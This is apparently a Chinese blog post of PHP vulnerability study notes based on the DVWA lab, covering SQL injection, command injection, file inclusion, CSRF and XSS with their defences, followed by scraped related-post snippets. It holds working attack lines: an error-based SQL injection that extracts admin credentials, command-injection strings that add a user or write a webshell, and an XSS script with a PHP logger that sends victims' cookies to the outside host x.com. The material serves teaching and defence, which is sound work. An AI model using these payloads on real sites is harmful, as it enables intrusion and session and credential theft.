[PHP漏洞]PHP0day漏洞挖掘及防範筆記(一)
0x01
環境搭建:Damn Vulnerable Web App (DVWA)
isa PHP/MySQL web application that is damn vulnerable. Its main goals are to bean aid for security professionals to test their skills and tools in a legalenvironment, help web developers better understand the processes of
securingweb applications and aid teachers/students to teach/learn web applicationsecurity in a class room environment.
.htaccess
php_flag magic_quotes_gpcOff //主要是對所有的 GET、POST 和 COOKIE 資料自動執行 addslashes()。5.3.0以前、
if(!get_magic_quotes_gpc())
{
addslashes($prot);
}
#php_flag allow_url_fopenon
#php_flagallow_url_include on
AllowOverride None/All
0x02 APMserv,XAMPP,WAMP
0x03 PHP 超全域性變數
$GLOBALS
包含一個引用指向每個當前指令碼的全域性範圍內有效的變數。該陣列的鍵標為全域性變數的 名稱。從 PHP 3 開始存在 $GLOBALS 陣列。
$_SERVER
變數由 Web 伺服器設定或者直接與當前指令碼的執行環境相關聯。類似於舊陣列 $HTTP_SERVER_VARS 陣列(依然有效,但反對使用)。HTTP 頭、$_GET
經由 HTTP GET 方法提交至指令碼的變數。類似於舊陣列 $HTTP_GET_VARS 陣列(依然有效,但反對使用)。
$_POST
經由HTTP POST方法提交至指令碼的變數。類似於舊陣列 $HTTP_POST_VARS 陣列(依然有效,但反對使用)。
$_COOKIE
經由 HTTP Cookies 方法提交至指令碼的變數。類似於舊陣列 $HTTP_COOKIE_VARS 陣列(依然有效,但反對使用)。
$_FILES
經由 HTTP POST 檔案上傳而提交至指令碼的變數。類似於舊陣列 $HTTP_POST_FILES 陣列(依然有效,但反對使用)。詳細資訊請參閱 POST 方法上傳。
$_ENV
執行環境提交至指令碼的變數。類似於舊陣列 $HTTP_ENV_VARS 陣列(依然有效,但反對使用)。
$_REQUEST
經由 GET,POST 和 COOKIE 機制提交至指令碼的變數,因此該陣列並不值得信任。所有包含在該陣列中的變數的存在與否以及變數的順序均按照 php.ini 中的 variables_order 配置指示來定義。該陣列沒有直接模擬 PHP 4.1.0 的早期版本。參見 。
******自 PHP 4.3.0起,$_FILES 中的檔案資訊不再存在於 $_REQUEST 中。*****
$_SESSION
當前註冊給指令碼會話的變數。類似於舊陣列 $HTTP_SESSION_VARS 陣列(依然有效,但反對使用)。
0x04 require_once()語句在指令碼執行期間包含並執行指定檔案。此行為和 require()語句類似,唯一區別是如果該檔案中的程式碼已經被包含了,則不會再次包含。
0x05 Sql注入:允許攻擊者從HTTP表單輸入框提交SQL語句,還包括盲注和SQL注入錯誤顯示。
過濾:stripslashesPHP刪除反斜線字元函式
mysql_real_escape_stringPHP轉義函式下列字元受影響:
\x00 \n \r \ ' " \x1a 確認字符集 //字元型過濾
is_numeric — 檢測變數是否為數字或數字字串 ctype_digit 正則表示式//數字型的過濾
addslashes雙位元組會出現漏洞,不需要資料庫連線
0x06 資料庫報錯資訊洩漏漏洞
黑客利用SQL注入攻擊,可利用報錯顯示資料庫名,及使用者名稱
Php.ini檔案display_errors=On
資料庫查詢函式前加@
0x07 PHP字元編碼繞過漏洞
addslash對於字元%BF%27的漏洞
單引號被 urlencode兩次以後是 %2527,然後 POST,PHP 內部在生成全域性變數 $_POST 的時候會先 urldecode,得到 %27,然後 PHP 會檢查 Magic Quotes 的設定,但是無論是否開啟 Magic Quotes,%27 都不會被addslashes。
' and(select 1 from(select count(*),concat((select (select (selectconcat(0x23,cast(concat(username,0x3a,password,0x3a,encrypt) as char),0x23)from v9_admin LIMIT 0,1)) from information_schema.tables limit0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
0x08 SQL注入漏洞的防範
數字型的注入
1. is_numeric ctype_digit 正則表示式
2. str_length限制輸入的字元長度
字元型的注入
1. mysql_real_escape_string
2. str_length限制輸入的字元長度
如何挖掘SQL注入漏洞
注意常見獲取變數,資料庫操作函式
mysql_query
SQL注入攻擊的總體思路
·發現SQL注入位置;
·判斷後臺數據庫型別;
·確定XP_CMDSHELL可執行情況
·發現WEB虛擬目錄
·上傳ASP木馬;
·得到管理員許可權;
0x09 命令執行漏洞
常見執行命令函式
system() passthru() popen() exec()等函式
如何挖掘:
搜尋exec,system,popen,passthru,proc_open,shell_exec
如何利用:
管道命令:
|% <
Ping 0|net stat user /add
Ping 0|dir c:/
Echo webshell>a.txt
例:ping命令的過濾
stripslashes() 函式刪除由addslashes() 函式新增的反斜槓。
explode() 函式把字串分割為陣列。
explode(separator,string,limit)
separator |
必需。規定在哪裡分割字串。 |
string |
必需。要分割的字串。 |
limit |
可選。規定所返回的陣列元素的最大數目。 |
((is_numeric($octet[0]))&& (is_numeric($octet[1])) && (is_numeric($octet[2]))&& (is_numeric($octet[3])) && (sizeof($octet) == 4))
EscapeShellArg() EscapeShellcmd()
0x10 檔案包含漏洞
常見檔案包含函式
Include()require() include_once() require_once()
Require_once只包含一次預設第一次
Require被包含檔案有錯誤不在向下執行(主檔案)
Include 被包含檔案有錯誤也可以向下執行(主檔案)
遠端檔案包含漏洞allow_url_fopen allow_url_include
如何繞過allow_url_fopen allow_url_include
zlib:// ogg:// (獲取媒體檔案) data://(獲取post資料) php://
相關函式:
Include()include_once() require() require_once() fopen() imagecreatefromXXX() file()file_get_contents() copy() delete() unlink() upload_tmp_dir() $_FILESmove_uploaded_file()
如何防止檔案包含漏洞
- 關閉allow_url_fopen和allow_url_include
- 驗證
- 過濾(判斷檔案是否是包含檔案,如果不等於,就exit)
copy /b 1.gif+2.php 3.gif
%00 字串截斷
0x11 Csrf漏洞利用及防範(黑客藉助受害者的cookie騙取伺服器的信任)瀏覽器同源策略
利用<img src=””>使受害者訪問網頁
Cross-site request forgery跨站請求偽造,也被稱為“oneclick attack”或者sessionriding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站指令碼(XSS), 但它與XSS非常不同,並且攻擊方式幾乎相左。XSS利用站點內的信任使用者,而CSRF則通過偽裝來自受信任使用者的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防範的資源也相當稀少)和難以防範,所以被認為比XSS更具危險性。
從上圖可以看出,要完成一次CSRF攻擊,受害者必須依次完成兩個步驟:
1.登入受信任網站A,並在本地生成Cookie。
2.在不登出A的情況下,訪問危險網站B。
看到這裡,你也許會說:“如果我不滿足以上兩個條件中的一個,我就不會受到CSRF的攻擊”。是的,確實如此,但你不能保證以下情況不會發生:
1.你不能保證你登入了一個網站後,不再開啟一個tab頁面並訪問另外的網站。
2.你不能保證你關閉瀏覽器了後,你本地的Cookie立刻過期,你上次的會話已經結束。(事實上,關閉瀏覽器不能結束一個會話,但大多數人都會錯誤的認為關閉瀏覽器就等於退出登入/結束會話了......)
3.上圖中所謂的攻擊網站,可能是一個存在其他漏洞的可信任的經常被人訪問的網站。
當前防 防禦CSRF 的幾種策略
在業界目前防禦 CSRF 攻擊主要有三種策略:驗證 HTTP Referer 欄位;在請求地址中新增 token 並驗證;在 HTTP 頭中自定義屬性並驗證。下面就分別對這三種策略進行詳細介紹。
驗證 驗證HTTP Referer 欄位
根據 HTTP 協議,在 HTTP 頭中有一個欄位叫 Referer,它記錄了該 HTTP 請求的來源地址。在通常情況下,訪問一個安全受限頁面的請求來自於同一個網站,比如需要訪問http://bank.example/withdraw?account=bob&amount=1000000& for=Mallory,使用者必須先登陸 bank.example,然後通過點選頁面上的按鈕來觸發轉賬事件。這時,該轉帳請求的 Referer 值就會是轉賬按鈕所在的頁面的 URL,通常是以 bank.example 域名開頭的地址。而如果黑客要對銀行網站實施 CSRF 攻擊,他只能在他自己的網站構造請求,當用戶通過黑客的網站傳送請求到銀行時,該請求的 Referer 是指向黑客自己的網站。因此,要防禦 CSRF 攻擊,銀行網站只需要對於每一個轉賬請求驗證其 Referer 值,如果是以 bank.example 開頭的域名,則說明該請求是來自銀行網站自己的請求,是合法的。如果 Referer 是其他網站的話,則有可能是黑客的 CSRF 攻擊,拒絕該請求。
這種方法的顯而易見的好處就是簡單易行,網站的普通開發人員不需要操心 CSRF 的漏洞,只需要在最後給所有安全敏感的請求統一增加一個攔截器來檢查 Referer 的值就可以。特別是對於當前現有的系統,不需要改變當前系統的任何已有程式碼和邏輯,沒有風險,非常便捷。
然而,這種方法並非萬無一失。Referer 的值是由瀏覽器提供的,雖然 HTTP 協議上有明確的要求,但是每個瀏覽器對於 Referer 的具體實現可能有差別,並不能保證瀏覽器自身沒有安全漏洞。使用驗證 Referer 值的方法,就是把安全性都依賴於第三方(即瀏覽器)來保障,從理論上來講,這樣並不安全。事實上,對於某些瀏覽器,比如 IE6 或 FF2,目前已經有一些方法可以篡改 Referer 值。如果 bank.example 網站支援 IE6 瀏覽器,黑客完全可以把使用者瀏覽器的 Referer 值設為以 bank.example 域名開頭的地址,這樣就可以通過驗證,從而進行 CSRF 攻擊。
即便是使用最新的瀏覽器,黑客無法篡改 Referer 值,這種方法仍然有問題。因為 Referer 值會記錄下使用者的訪問來源,有些使用者認為這樣會侵犯到他們自己的隱私權,特別是有些組織擔心 Referer 值會把組織內網中的某些資訊洩露到外網中。因此,使用者自己可以設定瀏覽器使其在傳送請求時不再提供 Referer。當他們正常訪問銀行網站時,網站會因為請求沒有 Referer 值而認為是 CSRF 攻擊,拒絕合法使用者的訪問。
CSRF 攻擊之所以能夠成功,是因為黑客可以完全偽造使用者的請求,該請求中所有的使用者驗證資訊都是存在於 cookie 中,因此黑客可以在不知道這些驗證資訊的情況下直接利用使用者自己的 cookie 來通過安全驗證。要抵禦 CSRF,關鍵在於在請求中放入黑客所不能偽造的資訊,並且該資訊不存在於 cookie 之中。可以在 HTTP 請求中以引數的形式加入一個隨機產生的 token,並在伺服器端建立一個攔截器來驗證這個 token,如果請求中沒有 token 或者 token 內容不正確,則認為可能是 CSRF 攻擊而拒絕該請求。
這種方法要比檢查 Referer 要安全一些,token 可以在使用者登陸後產生並放於 session 之中,然後在每次請求時把 token 從 session 中拿出,與請求中的 token 進行比對,但這種方法的難點在於如何把 token 以引數的形式加入請求。對於 GET 請求,token 將附在請求地址之後,這樣 URL 就變成http://url?csrftoken=tokenvalue。 而對於 POST 請求來說,要在 form 的最後加上 <inputtype=”hidden” name=”csrftoken” value=”tokenvalue”/>,這樣就把 token 以引數的形式加入請求了。但是,在一個網站中,可以接受請求的地方非常多,要對於每一個請求都加上 token 是很麻煩的,並且很容易漏掉,通常使用的方法就是在每次頁面載入時,使用 javascript 遍歷整個 dom 樹,對於 dom 中所有的 a 和 form 標籤後加入 token。這樣可以解決大部分的請求,但是對於在頁面載入之後動態生成的 html 程式碼,這種方法就沒有作用,還需要程式設計師在編碼時手動新增 token。
該方法還有一個缺點是難以保證 token 本身的安全。特別是在一些論壇之類支援使用者自己發表內容的網站,黑客可以在上面釋出自己個人網站的地址。由於系統也會在這個地址後面加上 token,黑客可以在自己的網站上得到這個 token,並馬上就可以發動 CSRF 攻擊。為了避免這一點,系統可以在新增 token 的時候增加一個判斷,如果這個連結是鏈到自己本站的,就在後面新增 token,如果是通向外網則不加。不過,即使這個 csrftoken 不以引數的形式附加在請求之中,黑客的網站也同樣可以通過 Referer 來得到這個 token 值以發動 CSRF 攻擊。這也是一些使用者喜歡手動關閉瀏覽器 Referer 功能的原因。
在 在HTTP 頭中自定義屬性並驗證
這種方法也是使用 token 並進行驗證,和上一種方法不同的是,這裡並不是把 token 以引數的形式置於 HTTP 請求之中,而是把它放到 HTTP 頭中自定義的屬性裡。通過 XMLHttpRequest 這個類,可以一次性給所有該類請求加上 csrftoken 這個 HTTP 頭屬性,並把 token 值放入其中。這樣解決了上種方法在請求中加入 token 的不便,同時,通過 XMLHttpRequest 請求的地址不會被記錄到瀏覽器的位址列,也不用擔心 token 會透過 Referer 洩露到其他網站中去。
然而這種方法的侷限性非常大。XMLHttpRequest 請求通常用於 Ajax 方法中對於頁面區域性的非同步重新整理,並非所有的請求都適合用這個類來發起,而且通過該類請求得到的頁面不能被瀏覽器所記錄下,從而進行前進,後退,重新整理,收藏 等操作,給使用者帶來不便。另外,對於沒有進行 CSRF 防護的遺留系統來說,要採用這種方法來進行防護,要把所有請求都改為 XMLHttpRequest 請求,這樣幾乎是要重寫整個網站,這代價無疑是不能接受的。
0x12 反射型跨站漏洞XSS
Javascript請求,可以盜cookie,掛馬,
例:動態頁面向用戶顯示訊息error.php?message=sorry%2c+an+error+ocurred
判斷error.php?message=<script>alert(‘xss’)</script>
如何利用漏洞?
會話劫持(cookie截獲)
<script>var i=new Image;i.src="http://x.com/"+document.cookie ;</script>
注意$_POST $_GET $_COOKIE
如何修補:
利用htmlspecialchars函式過濾
構造一個getcookie.php內容如下
<?php
$cookie =$_GET[‘c’];
$log =fopen(“cookie.txt”,”a”);
Fwrite($log,$cookie.”\n”);
?>
利用HTTP/HTTPS Protocol Debuger 可以偽造cookie實現登入的目的
1.支援HTTP和HTTPS(SSL加密)網路協議的跟蹤和除錯。
2.可以檢視到HTTP/HTTPS協議連線的詳細過程和返回結果。
3.允許GET/POST/HEAD/PUT四種連線方式。
4.支援HTTP的Proxy代理。
5.自動處理重定向Redirect功能。
6.自動處理Cookie的接收和傳送。
7.可以自行設定和增加HTTP請求命令的引數。
0x13 儲存型跨站漏洞
可以進行包含js檔案,進行提權。
相關推薦
[PHP漏洞]PHP0day漏洞挖掘及防範筆記(一)
0x01 環境搭建:Damn Vulnerable Web App (DVWA) isa PHP/MySQL web application that is damn vulnerable. Its
PHP QRcode生成二維碼學習筆記(一)
class bar 手機 表示 font 病毒 style -s 比特流 二維碼簡介: 二維條碼/二維碼(2-dimensional bar code) 是用某種特定的幾何圖形按一定規律在平面(二維方向上)分布的黑白相間的圖形記錄數據符號信息的;在代碼編制上巧妙地利用構成
EF+Code First 數據關系隱射及遷移筆記一
country get clas 姓名 type book 驗證 table 找到 1.一對一關系(one to one) 1.1DataAnnotations方式 實體:書本實體,版本信息實體,一本書只能有一個版本號,版本號在沒有書出版的情況下是無意義的 pu
【實驗吧】Once More&&【筆記】 PHP 函數漏洞總結
a-z != 百度 col tail alt strlen() 分享 style <?php if (isset ($_GET[‘password‘])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET[‘password‘]) ==
PHP SQL注入漏洞防範
在PHP中採用魔術引號進行過濾,但是PHP5.4之後被取消了,同時在遇到int型注入也不會那麼有效,所以用的最多的還是過濾函式和類(例如discuz,dedecms,phpcms),如果單純的過濾函式寫的不嚴謹,就會出現繞過的情況,最好的解決方法還是預編譯的方式。 GPC/runtime魔術
漏洞挖掘與防範(基礎篇)
文章目錄SQL注入漏洞型別漏洞防範XSS原理例子挖掘關鍵字防範CSRF原理例子挖掘關鍵防範 SQL注入 漏洞型別 普通注入 普通注入值得是最容易利用的注入方式,比如union注入,盲注(基於時間盲注和基於Boolean的忙住),基於報錯的注入等。 //union
常見web漏洞及防範(轉)
單個漏洞,需要進行排查與整改,藉著別人的智慧,做一個簡單的收集。最好能夠將常見漏洞,不限於web類的,進行一個統一的整理。這是今年的任務。 進行漏洞的工具的收集,為未來的工作做好基礎。。。 一、SQL注入漏洞 SQL注入攻擊(SQL Injection)
深入理解跨站點 WebSocket 劫持漏洞的原理及防範
序言 WebSocket 作為 HTML5 的新特性之一格外吸引著開發人員的注意,因為它的出現使得客戶端(主要指瀏覽器)提供對 Socket 的支援成為可能,從而在客戶端和伺服器之間提供了一個基於單 TCP 連線的雙向通道。對於實時性要求比較高的應用而言,譬如線上證
常見漏洞和攻擊及防範方法
XSS(Cross-Site Script) 跨站指令碼攻擊 1.Reflected XSS(基於反射的XSS攻擊) 誘騙使用者點選帶攻擊性的程式碼連結,伺服器解析後響應,不轉存資料庫,在伺服器響應的內容中有攻擊性程式碼,被瀏覽器執行,從而獲取資訊等。不過這
漏洞挖掘與防範(進階篇)
今天學習的漏洞挖掘與防範比較好學,而且對於一些使用的存在漏洞的函式實現也是比較順利,所以部落格的進度也加快了,現在我就把學到的東西和大家分享一下。 1.程式碼執行漏洞 程式碼執行漏洞是指應用程式本身過濾不嚴,使用者可以通過請求將程式碼注入到應用中執行。這樣的漏洞如果沒有特
PHP語言程式碼漏洞審計技巧筆記分享
PHP程式碼審計,安全漏洞挖掘簡要記錄 1 全域性變數 PHP中的許多預定義變數都是“超全域性的”,這意味著它們在一個指令碼的全部作用域中 都可用。在函式或方法中無需執行 globa
關於永恒之藍漏洞的補丁跟蹤及實施記錄
windows server 記錄 人力 永恒 前言:利用MS17-010 漏洞進行攻擊的蠕蟲病毒已經成了自上周末到現在的主要任務,當組織裏面有大量的機器時,要在短時間內完成大量業務系統的防護和更新需要耗費大量的人力和資源。當然如果手段和方式得力,事情相對會順利的多。 目標: 1
獨家分析:安卓“Janus”漏洞的產生原理及利用過程
新的 ava 簽名 沒有 spa 全能 銀行 nature 公告 近日,Google在12月發布的安卓系統安全公告中披露了一個名為“Janus”安卓漏洞(漏洞編號:CVE-2017-13156)。該漏洞可以讓攻擊者繞過安卓系統的signature scheme V1簽名機
php序列化漏洞理解
觸發 lean 自動 就是 bool http alt his const 0x01什麽是序列化 序列化就是將我們的 對象轉變成一個字符串,保存對象的值方便之後的傳遞與使用。 0x02為什麽要序列化 如果為一個腳本中想要調用之前一個腳本的變量,但是前一個腳本已經執行完畢,所
php函數漏洞原理解析
watermark http 漏洞 type 相等 註入漏洞 reac web blog PHP是世界上最好的語言,是的,php在世界上養活了兩類人,一類是編寫php代碼的人,一類是從事安全×××的這類人,因為在php中存在著有漏洞的函數。在一定條件作用下,這些函數沒有按著
CSRF 漏洞原理詳解及防禦方法
隨機 讀取 跨站 管理員 right 較差 網站 關鍵字 關心 跨站請求偽造:攻擊者可以劫持其他用戶進行的一些請求,利用用戶身份進行惡意操作。 例如:請求http://x.com/del.php?id=1 是一個刪除ID為1的賬號,但是只有管理員才可以操作,如果攻擊者把這個
Burp Suite掃描器漏洞掃描功能介紹及簡單教程
author -s 測試方法 inject psc sql url地址 issue 功能 pageuo 2017-07-25 共852828人圍觀 ,發現 15 個不明物體 工具新手科普 * 本文作者:pageuo,本文屬FreeBuf原創獎勵計劃,未經許可禁止
PHP反序列漏洞學習
prop test 漏洞利用 serial gad struct private 讀取 public 0x00 序列化和反序列化 在PHP中,序列化和反序列化對應的函數分別為serialize()和unserialize()。 序列化:serialize()將對象轉換為字符
華碩路由器 Merlin.php 命令執行漏洞
定義 vpd lin 華碩 第一個 and popen函數 ffffff command Merlin.php 面向 ASUS﹣MERLIN 的 SS Web 管理面板。只支持 http://koolshare.io 下的固件版本。 github鏈接:https://git
php全域性變數漏洞 $GLOBALS
在Discuz程式碼中有這麼一段: if (isset($_REQUEST[‘GLOBALS’]) OR isset($_FILES[‘GLOBALS’])) { exit(‘Request tainting attempted.’); } register_globals 是php中的一個控制選